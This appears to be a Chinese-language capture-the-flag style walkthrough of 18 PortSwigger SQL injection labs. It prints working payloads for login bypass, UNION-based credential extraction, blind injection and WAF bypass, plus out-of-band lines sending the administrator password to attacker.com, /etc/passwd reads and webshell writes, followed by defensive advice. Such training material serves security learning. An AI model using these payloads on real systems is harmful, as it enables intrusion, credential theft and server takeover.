# PortSwigger SQL 注入靶场完全攻略(18 个实验全解析)
# 前言
SQL 注入是 Web 安全中最常见也最危险的漏洞之一。PortSwigger 提供的 SQL 注入靶场包含 18 个精心设计的实验,涵盖了从基础到高级的各种 SQL 注入技术。本文将详细解析每个实验的原理、攻击步骤和技术要点,帮助读者全面掌握 SQL 注入攻击与防御技术。
# 实验环境准备
在开始之前,请确保:
- 拥有 PortSwigger Academy 账号
- 熟练使用 BurpSuite 进行抓包和改包
- 了解基本的 SQL 语法和数据库原理
- 理解 HTTP 协议和 Web 应用架构
# 实战演练
# 第一部分:基础 SQL 注入
# Lab 1: SQL 注入漏洞显示未发布产品
目标描述:此实验室在产品类别过滤器中包含 SQL 注入漏洞。当用户选择一个类别时,应用程序执行如下 SQL 查询:
1 | SELECT * FROM products WHERE category = '用户选择的类别' |
任务目标:执行 SQL 注入攻击,导致应用程序显示一个或多个未发布的产品。
攻击步骤:
- 注入点识别:点击任意产品类别,观察 URL 参数结构
- 测试注入:在 category 参数后添加单引号,观察页面响应
- 构造 Payload:
1
?category=' or 1=1 --+
技术原理:
1 | -- 原始查询 |
关键点:使用 or 1=1 使 WHERE 条件永远为真,配合注释符 --+ 绕过后续 SQL 语句。
# Lab 2: SQL 注入漏洞允许登录绕过
目标描述:此实验室在登录函数中包含 SQL 注入漏洞。
任务目标:执行 SQL 注入攻击,以 administrator 用户身份登录。
攻击步骤:
- 定位登录页面:访问 my-account 或 login 页面
- 万能密码注入:在用户名字段输入:
1
administrator' or 1=1 --+
- 密码字段:可以任意填写或留空
技术原理:
1 | -- 原始查询 |
关键点:利用 OR 运算符的优先级特性,绕过身份验证机制。
# Lab 3: Oracle 数据库类型和版本查询
目标描述:使用 UNION 攻击从 Oracle 数据库中检索版本信息。
任务目标:显示 Oracle 数据库版本字符串。
Oracle 特性:
- 必须指定表名(dual 表)
- 使用
rownum限制返回行数 - 系统视图:
v$version
攻击步骤:
确定字段数:
1
2' ORDER BY 2 --+ -- 正常
' ORDER BY 3 --+ -- 错误,确定为2个字段寻找回显位:
1
' UNION SELECT '1','2' FROM dual --+
查询数据库版本:
1
' UNION SELECT '1',(SELECT banner FROM sys.v_$version WHERE rownum=1) FROM dual --+
关键点: Oracle 查询必须跟表名,使用 dual 表作为虚拟表。
# Lab 4: MySQL 和 Microsoft 数据库版本查询
目标描述:使用 UNION 攻击从 MySQL/Microsoft 数据库中检索版本信息。
任务目标:显示数据库版本字符串。
MySQL 特性:
- 可直接查询常量,无需指定表名
- 使用
VERSION()函数获取版本 - 支持
--和#注释符
攻击步骤:
- 确定字段数:使用
ORDER BY语句 - UNION 查询测试:
1
' UNION SELECT 1,2 --+
- 查询版本信息:
1
' UNION SELECT 1,VERSION() --+
数据库对比:
| 数据库 | 版本查询函数 | 表要求 | 注释符 |
|---|---|---|---|
| Oracle | SELECT banner FROM v$version | 必须指定 dual 表 | -- |
| MySQL | VERSION() | 可省略表名 | --, # |
| MSSQL | @@VERSION | 可省略表名 | -- |
# Lab 5: 非 Oracle 数据库内容列举
目标描述:列出数据库中的用户表内容。
任务目标:获取用户名和密码信息。
信息收集步骤:
获取表结构:
1
' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema = database() --+
获取字段信息:
1
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name = 'users' --+
提取数据:
1
' UNION SELECT username,password FROM users --+
技术要点:利用 information_schema 数据库获取元数据信息。
# 第二部分:高级 SQL 注入技术
# Lab 6: SQL 注入 UNION 攻击,从其他表中检索数据
目标描述:使用 UNION 攻击从其他表中检索特定数据。
任务目标:获取所有用户的用户名和密码。
攻击步骤:
- 确定目标表:通过 information_schema 获取表名
- 确定字段数:使用 ORDER BY 确定列数
- 构造 UNION 查询:
1
' UNION SELECT username,password FROM users --+
技术要点:确保 UNION 前后列数和数据类型匹配。
# Lab 7: SQL 注入 UNION 攻击,检索多个值
目标描述:在单个列中检索多个值。
任务目标:获取用户表的完整信息。
攻击步骤:
使用连接符:
1
' UNION SELECT username||'-'||password FROM users --+
MySQL 版本:
1
' UNION SELECT CONCAT(username,'-',password) FROM users --+
技术要点:使用字符串连接函数将多个值合并为单个列。
# Lab 8: SQL 注入 UNION 攻击,从不同列中检索数据
目标描述:从不同的列中检索数据到单个列中。
任务目标:获取分散在不同列中的用户信息。
攻击步骤:
- 确定列位置:通过 NULL 填充调整列位置
- 构造查询:
1
' UNION SELECT NULL,username,password FROM users --+
技术要点:使用 NULL 占位符确保 UNION 查询的列数匹配。
# Lab 9: SQL 注入 UNION 攻击,检索不可见的数据
目标描述:检索在页面中不直接显示的数据。
任务目标:获取隐藏字段的数据。
攻击步骤:
- 分析 HTML 源码:查看隐藏字段
- 构造查询:
1
' UNION SELECT 1,hidden_column FROM target_table --+
技术要点:通过查看页面源码发现隐藏的数据字段。
# Lab 10: SQL 注入盲注,条件响应
目标描述:布尔盲注,根据条件响应判断注入结果。
任务目标:确定 administrator 用户的密码。
攻击步骤:
测试盲注:
1
2' AND '1'='1 -- 正常响应
' AND '1'='2 -- 异常响应逐字符猜解:
1
' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)>'a --+
技术要点:通过页面响应差异逐字符猜解数据。
# 第三部分:盲注技术
# Lab 11: SQL 注入盲注,条件错误
目标描述:通过触发数据库错误进行盲注。
任务目标:获取敏感信息。
攻击步骤:
触发错误:
1
' AND (SELECT COUNT(*) FROM users) > 0 --+
构造条件错误:
1
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a' --+
技术要点:利用数据库错误信息推断查询结果。
# Lab 12: SQL 注入盲注,时间延迟
目标描述:使用时间延迟进行盲注。
任务目标:通过响应时间判断注入结果。
攻击步骤:
测试时间延迟:
1
2
3'; WAITFOR DELAY '0:0:5' --+ -- MSSQL
' AND SLEEP(5) --+ -- MySQL
' AND pg_sleep(5) --+ -- PostgreSQL条件时间注入:
1
' AND (SELECT COUNT(*) FROM users WHERE username='administrator' AND SUBSTRING(password,1,1)='a')>0 AND SLEEP(5) --+
技术要点:使用延迟函数根据条件控制响应时间。
# Lab 13: SQL 注入盲注,带信息检索的时间延迟
目标描述:结合时间延迟和信息检索的盲注技术。
任务目标:获取完整的用户信息。
攻击步骤:
- 自动化脚本:编写脚本逐字符猜解
- 优化查询:使用二分法减少请求次数
- 处理网络延迟:设置合理的时间阈值
技术要点:结合自动化工具提高盲注效率。
# 第四部分:绕过技术
# Lab 14: SQL 注入绕过 WAF 过滤
目标描述:绕过 Web 应用防火墙的 SQL 注入过滤。
任务目标:成功执行 SQL 注入攻击。
绕过技术:
大小写混合:
1
' UnIoN SeLeCt 1,2 --+
编码绕过:
1
%27%20UNION%20SELECT%201,2%20--+
注释混淆:
1
' /*!UNION*/ /*!SELECT*/ 1,2 --+
空格替代:
1
'/**/UNION/**/SELECT/**/1,2/**/--+
技术要点:了解常见 WAF 过滤规则,使用多种绕过技术。
# Lab 15: SQL 注入二阶注入
目标描述:利用存储的数据进行二阶注入。
任务目标:通过存储的用户输入执行 SQL 注入。
攻击步骤:
- 注入恶意数据:在注册或更新时插入恶意代码
- 触发二阶注入:当其他功能使用存储的数据时触发
- 构造 Payload:
1
用户名: admin'--
技术要点:理解数据生命周期,寻找数据被重用的场景。
# Lab 16: SQL 注入带过滤的绕过
目标描述:绕过应用程序的输入过滤机制。
任务目标:成功执行 SQL 注入攻击。
绕过方法:
双写绕过:
1
' UNUNIONION SELECT SELECT 1,2 --+
内联注释:
1
' /**/UNION/**/SELECT/**/1,2/**/--+
函数绕过:
1
' AND CONCAT('a','b')='ab' --+
技术要点:分析过滤规则,选择合适的绕过策略。
# 第五部分:高级利用技术
# Lab 17: SQL 注入带外 (OOB) 利用
目标描述:使用带外技术获取数据。
任务目标:通过 DNS 或 HTTP 请求获取数据库信息。
攻击步骤:
DNS 带外:
1
2'; EXEC xp_dirtree '\\attacker.com\share' --+ -- MSSQL
' AND LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\test')) --+ -- MySQLHTTP 带外:
1
'; EXEC master..xp_cmdshell 'curl attacker.com/?data=' + (SELECT password FROM users WHERE username='administrator') --+
技术要点:需要控制外部服务器接收带外数据。
# Lab 18: SQL 注入文件操作
目标描述:利用 SQL 注入进行文件读写操作。
任务目标:读取服务器文件或写入 webshell。
攻击步骤:
文件读取:
1
2' UNION SELECT LOAD_FILE('/etc/passwd'),2 --+ -- MySQL
' UNION SELECT pg_read_file('/etc/passwd'),2 --+ -- PostgreSQL文件写入:
1
' UNION SELECT 'webshell content',2 INTO OUTFILE '/var/www/html/shell.php' --+ -- MySQL
技术要点:需要数据库用户具有文件操作权限。
# 防御措施
# 1. 参数化查询
1 | // 安全的Java示例 |
# 2. 输入验证和过滤
1 | # Python输入验证示例 |
# 3. 最小权限原则
- 限制数据库用户权限
- 禁用不必要的存储过程
- 定期审计数据库访问日志
# 4. Web 应用防火墙
- 部署 WAF 检测 SQL 注入攻击
- 配置自定义规则拦截恶意请求
- 定期更新 WAF 规则库
# 5. 错误处理
1 | // 安全的错误处理示例 |
# 自动化工具使用
# SQLMap 使用指南
1 | # 基本扫描 |
# BurpSuite 插件推荐
- SQLiPy: SQL 注入检测插件
- CO2: SQL 注入自动化工具
- Turbo Intruder: 高速爆破工具
# 总结
通过 PortSwigger SQL 注入靶场的 18 个实验,我们系统学习了:
- 基础注入技术: UNION 注入、登录绕过、数据库指纹识别
- 盲注技术:布尔盲注、时间盲注、错误盲注
- 绕过技术: WAF 绕过、过滤绕过、编码绕过
- 高级利用:二阶注入、带外利用、文件操作
- 防御策略:参数化查询、输入验证、权限控制
SQL 注入虽然是一个相对 "古老" 的漏洞,但在实际应用中仍然普遍存在。掌握 SQL 注入的原理和利用方法,不仅有助于渗透测试工作,更重要的是帮助开发者编写更安全的代码。
# 参考资源
- PortSwigger Web Security Academy
- OWASP SQL Injection Prevention Cheat Sheet
- SQLMap 官方文档
- BurpSuite 官方文档
免责声明:本文内容仅用于教育目的,请勿在未授权的情况下对他人系统进行测试。所有安全测试都应在获得明确授权的环境中进行。
